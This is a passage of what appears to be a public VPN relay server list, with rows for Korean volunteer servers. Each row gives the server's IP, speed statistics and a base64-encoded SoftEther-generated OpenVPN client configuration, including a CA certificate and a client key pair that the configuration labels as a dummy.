ODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn280374099,210.123.30.88,707904,28,94243640,Korea Republic of,KR,4,95540195,176161,12417017357674,2weeks,DESKTOP-RAHQ4DR's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTAuMTIzLjMwLjg4IDEzOTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn910122228,211.229.77.178,704706,26,366607512,Korea Republic of,KR,6,95540195,4506,523403488482,2weeks,minje37's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2R